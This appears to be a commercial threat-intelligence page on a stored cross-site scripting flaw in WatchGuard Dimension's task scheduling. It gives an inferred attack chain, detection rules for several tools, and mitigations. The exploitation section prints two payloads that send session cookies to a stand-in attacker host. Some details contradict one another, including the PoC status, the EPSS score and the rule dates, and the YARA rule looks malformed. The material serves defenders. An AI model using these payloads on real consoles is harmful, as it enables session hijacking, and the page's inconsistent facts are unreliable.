☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Watchguard logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-78047

CVE-2026-78047 Cross-Site Scripting in Watchguard
📅 PUBLISHED: 2026-08-28 00:00 UTC 🔄 UPDATED: 2026-08-29 00:41 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Threat Intelligence Report — CVE-2026-78047


Executive Summary

CVE-2026-78047 is a stored cross-site scripting (XSS) vulnerability in WatchGuard Dimension's task scheduling feature. A low-privileged authenticated administrator can inject arbitrary HTML or JavaScript into scheduling fields, which persists and executes in the browser sessions of any other user who views the affected task configuration. The vulnerability is currently unpatched (patch confidence 0/4), with no vendor advisory, no CISA KEV listing, and no public proof-of-concept available. All versions of WatchGuard Dimension exposing the task scheduling feature are presumed affected, though specific version information has not been disclosed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

WatchGuard Dimension is a network visibility and reporting appliance commonly deployed in enterprise perimeter environments, typically co-located with WatchGuard Firebox appliances. The vulnerability resides in the task scheduling feature, which allows administrators to define recurring jobs (e.g., report generation, log export, configuration backups).

Vulnerability Mechanism

The flaw is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). Because it is a stored XSS (also called persistent XSS), the injected payload is not transient but is permanently persisted on the server side — likely in the configuration database or in scheduled task definitions — and is later rendered in the web interface when an administrator views the task list or task details.

The attack surface is the task scheduling management interface. Fields used to name tasks, describe them, or specify email recipients/destinations for scheduled outputs are not properly sanitized or encoded. The NVD description specifically notes this affects what the database describes as:

"a low-privileged authenticated administrator"

This is a significant detail: the vulnerability is exploitable by an account with limited privileges — not a full super-admin — meaning the privilege boundary is already low, and the impact targets users with higher privileges (e.g., full administrators, auditors) who view the crafted task.

Code-Level Explanation

No specific code names, function names, or parameter identifiers are available in the NVD description or any vendor advisory at this time. Based on the vulnerability class (stored XSS), the following is the inferred mechanism:

  1. The task scheduling module accepts user-supplied input (e.g., task title, description, destination address) via HTTP POST/GET requests.
  2. This input is stored server-side without output encoding on the rendering side.
  3. When a subsequent request loads the task scheduling page, the stored value is inserted into the HTML document without escaping.
  4. Any <script> tag or event handler (e.g., onmouseover, onload) embedded in the stored string executes in the victim's browser context.

Because the admin interface likely renders tasks in a table or list view, the payload would fire on page load — for example, via <img src=x onerror=alert(document.cookie)> — hitting every user who navigates to that page.

Attack Surface Summary

Component Detail
Product WatchGuard Dimension
Affected Module Task Scheduling
Privilege Required LOW (low-privileged authenticated administrator)
User Interaction Required — victim must view the affected page
Impact Session hijacking, credential theft, UI redressing, lateral movement via browser context
Scope All users of the Dimension web console

Exploitation Scenarios

Note: No public PoC is available; the attack chain is inferred from the vulnerability class and the NVD description. Specific endpoint paths, parameter names, and payload structures are generalized.

Step 1 — Reconnaissance / Target Identification

An attacker with low-privileged access to the WatchGuard Dimension web console performs reconnaissance by:

  • Enumerating the UI to locate the Task Scheduling section (typically under a "System" or "Administration" menu for scheduled report generation).
  • Reviewing task configuration templates to identify input fields (task name, description, email recipient, notification fields).
  • Confirming that the application reflects stored input into subsequent page views (testing with benign markup such as <b>test</b> or "><i>test</i> to check for unencoded rendering).

Step 2 — Triggering the Flaw (Payload Injection)

The attacker crafts a payload embedded in a task scheduling field, such as:

<script>fetch('https://attacker.example/c2?c='+document.cookie)</script>

Or, to avoid script tag filtering:

<img src=x onerror="new Image().src='https://attacker.example/steal?data='+btoa(document.cookie)">

Because the input is stored server-side without sanitization, the payload persists in the task definition and is served to every subsequent viewer.

Step 3 — Payload Execution

When a higher-privileged administrator (full admin, system operator) navigates to the Task Scheduling page, the stored payload executes in their browser context. Standard XSS post-exploitation actions include:

  • Session cookie exfiltration — sending document.cookie to an attacker-controlled server to hijack the authenticated session.
  • CSRF token theft — extracting anti-CSRF tokens to forge authenticated requests.
  • UI redressing — injecting fake login dialog boxes to capture credentials (admin phishing).
  • Keylogging — capturing keystrokes within the admin session.
  • Configuration mutation — invoking internal APIs (if in-scope) to alter firewall policy or disable logging.

Step 4 — Post-Exploitation Impact

With a hijacked full-admin session, the attacker can:

  • Modify firewall rules on connected WatchGuard Firebox appliances (if integration is enabled).
  • Disable logging/monitoring to evade detection.
  • Exfiltrate network topology data, VPN credentials, and other sensitive configuration stored in Dimension.
  • Establish persistence by planting additional stored payloads in other modules.

Impact Assessment

Business Impact

Impact Category Severity Rationale
Confidentiality HIGH Session tokens, admin credentials, network configuration, and report data can be exfiltrated
Integrity HIGH Attacker can modify task definitions, schedule malicious jobs, and alter dashboard data
Availability MEDIUM Malicious tasks can cause excessive load; logged-out sessions disrupt admin operations

Affected Systems

  • WatchGuard Dimension appliance (physical or virtual)
  • Any deployment exposing the Dimension web console (typically on TCP 443/8443) to internal or external authenticated administrators

Blast Radius

  • Internal: All administrators and SOC analysts using the Dimension UI are at risk of browser-context compromise.
  • Extended: As Dimension frequently integrates with Firebox appliances, a compromised admin session could telescope into firewall management, affecting the entire managed network perimeter.
  • Data: Network monitoring logs, reporting data, and configuration backups stored in Dimension may be stolen.

CVSS Context

CVSS score: N/A. No official CVSS vector or score has been assigned by the CNA or NVD at the time of writing. This is notable given the LOW privilege requirement and the HIGH confidentiality/integrity impact — the vulnerability would likely rate in the HIGH (7.0–8.9) band under CVSS 3.1, but this is an analytical estimate, not an official score.


Detection Guidance

Sigma Rule

title: WatchGuard Dimension Task Scheduling - Stored XSS Payload Injection
id: 95a6c21e-4a90-4f59-a9bd-7b8c3feed15a
status: experimental
description: Detects POST requests to WatchGuard Dimension task scheduling endpoints containing common XSS payload indicators
author: Valtersit Threat Intel
date: 2026/01/15
logsource:
  category: web
  product: watchguard_dimension
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query|contains:
      - 'task'
      - 'schedule'
    cs-body|contains|all:
      - '<script'
      - 'onerror'
      - 'onload'
      - '<img'
      - 'javascript:'
  condition: selection
fields:
  - c-ip
  - cs-username
  - cs-uri-query
falsepositives:
  - Legitimate task descriptions mentioning XSS (rare)
  - Pentest activity in authorized environments
level: high
tags:
  - attack.t1190
  - cve.2026-78047
  - cwe.79

YARA Rule

rule WatchGuard_Dimension_Stored_XSS_Payload
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects scripts or log entries containing task scheduling XSS payload patterns"
        cve = "CVE-2026-78047"
        date = "2026-01-15"
        severity = "high"
    strings:
        $s1 = "<script" ascii nocase
        $s2 = "onerror" ascii nocase
        $s3 = "onload" ascii nocase
        $s4 = "javascript:" ascii nocase
        $s5 = "document.cookie" ascii nocase
        $s6 = "task" ascii nocase
        $s7 = "schedule" ascii nocase
    condition:
        uint16(0) == 0x0A0D or uint32(0) == 0x0A0D0A0D  // log file binary
        and any of ($s1,$s2,$s3,$s4,$s5)
        and any of ($s6,$s7)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-78047 WatchGuard Dimension Stored XSS - Payload in task scheduling"; flow:established,to_server; content:"POST"; http_method; content:"task"; http_uri; nocase; content:"schedule"; http_uri; nocase; pcre:"/<(script|img|svg)[^>]*(onerror|onload|javascript:|document\.cookie)/i"; classtype:web-application-attack; reference:cve,2026-78047; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-78047; sid:20267804; rev:1;)

Elastic Detection

sequence by source.ip with maxspan=5s
  [network where event.action == "http_request" and process.name == "dimension" and
   http.request.method == "POST" and
   url.path contains "task" and url.path contains "schedule"]
  [network where event.action == "http_request" and
   http.request.body contains "<script" or 
   http.request.body contains "onerror" or 
   http.request.body contains "javascript:" or
   http.request.body contains "document.cookie"]

Splunk SPL Query

index=web sourcetype=watchguard:dimension:http
| where method="POST"
| regex uri="(?i)(task|schedule)"
| regex form_data="(?i)(<script|onerror|onload|javascript:|document\.cookie)"
| table _time, src_ip, user, uri, form_data
| sort - _time
| eval threat="CVE-2026-78047"
| eval description="Stored XSS payload in WatchGuard Dimension task scheduling input"

Wazuh OSSEC Rule

<group name="webapp, watchguard, xss, cve_2026_78047,">
  <rule id="100847" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\.(?i)(task|schedule).*</field>
    <regex>(?i)(&lt;script|onerror|onload|javascript:|document\.cookie)</regex>
    <description>WatchGuard Dimension (CVE-2026-78047): Stored XSS payload detected in task scheduling request</description>
    <group>attack.t1190,cwe.79,pci_dss_6.5.7,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status

PATCH CONFIDENCE: 0/4 — UNPATCHED

No patch, vendor advisory, or security bulletin has been published by WatchGuard for CVE-2026-78047 at the time of this report. No CISA KEV listing exists. This is a zero-known-defense scenario — the vendor has not acknowledged the vulnerability publicly, and no mitigated version has been identified.

1) Immediate Mitigations (Compensating Controls)

Control Action
Access Restriction Restrict access to the WatchGuard Dimension web console to trusted networks/VPN only. Use firewall rules to block external access to the management port (default 443/8443).
Multi-Factor Authentication (MFA) Enforce MFA for all Dimension administrative accounts. Even if session cookies are stolen, MFA adds an authentication barrier.
Session Hardening Reduce session timeout to the lowest acceptable value (e.g., 5–10 minutes) to shrink the hijack window.
Web Application Firewall (WAF) Deploy a WAF in front of Dimension with XSS signatures enabled. Block requests containing <script, onerror, javascript: in POST bodies.
Audit Logging Enable verbose audit logging on Dimension and centrally ingest logs to SIEM (Splunk, Elastic, Wazuh) for detection correlation.
Least Privilege Review local Dimension accounts. Remove any low-privileged accounts that are not strictly necessary. If the low-privilege role is unused, disable it.

2) Patch / Upgrade Steps

  • None available. Monitor WatchGuard's security advisory portal (https://www.watchguard.com/help/docs/security-center/) and CVE feeds for a firmware update.
  • Subscribe to WatchGuard security bulletins for ETA on the patch.
  • If a downstream fix becomes available, apply to all Dimension instances (physical and virtual) within the change window.

3) Long-Term Hardening

Recommendation Rationale
Network Segmentation Isolate Dimension from the main corporate network; restrict to a dedicated management VLAN.
Regular Vulnerability Scanning Quarterly authenticated scans of the Dimension appliance using Tenable, Qualys, or Rapid7.
Input Validation Program If the appliance is custom-configured with API integrations, ensure any proxy code sanitizes all inputs before forwarding.
Security Baseline Apply CIS/NIST hardening benchmarks for network appliance web consoles.
User Education Warn all admins against clicking links or interacting with unexpected content in the Dimension UI (to limit XSS payload activation).

References

  1. NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2026-78047
    (Official CVE record; score N/A at time of writing)

  2. WatchGuard Security Center — https://www.watchguard.com/wgrd-security-center
    (Vendor advisory portal — check for future updates on this CVE)

  3. MITRE ATT&CK — https://attack.mitre.org/techniques/T1190/
    (Exploit Public-Facing Application — initial access tactic applicable to this exposure)

  4. CWE-79 Description — https://cwe.mitre.org/data/definitions/79.html
    (Vulnerability class reference)

  5. CISA Known Exploited Vulnerabilities Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog
    (CVE NOT listed — no evidence of in-the-wild exploitation at this time)


Threat Actor Campaigns: No known threat groups or exploit-in-the-wild campaigns have been observed leveraging CVE-2026-78047 as of the date of this report. The absence of an EPSS score from FIRST.org and the absence of any public exploit code suggest this is a low-awareness vulnerability at present. However, the low privilege requirement and high impact potential make this an attractive target for opportunistic attackers once the flaw becomes more widely discussed. MONITOR continuously for new developments.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

product:WatchGuard Dimension

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-78047/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.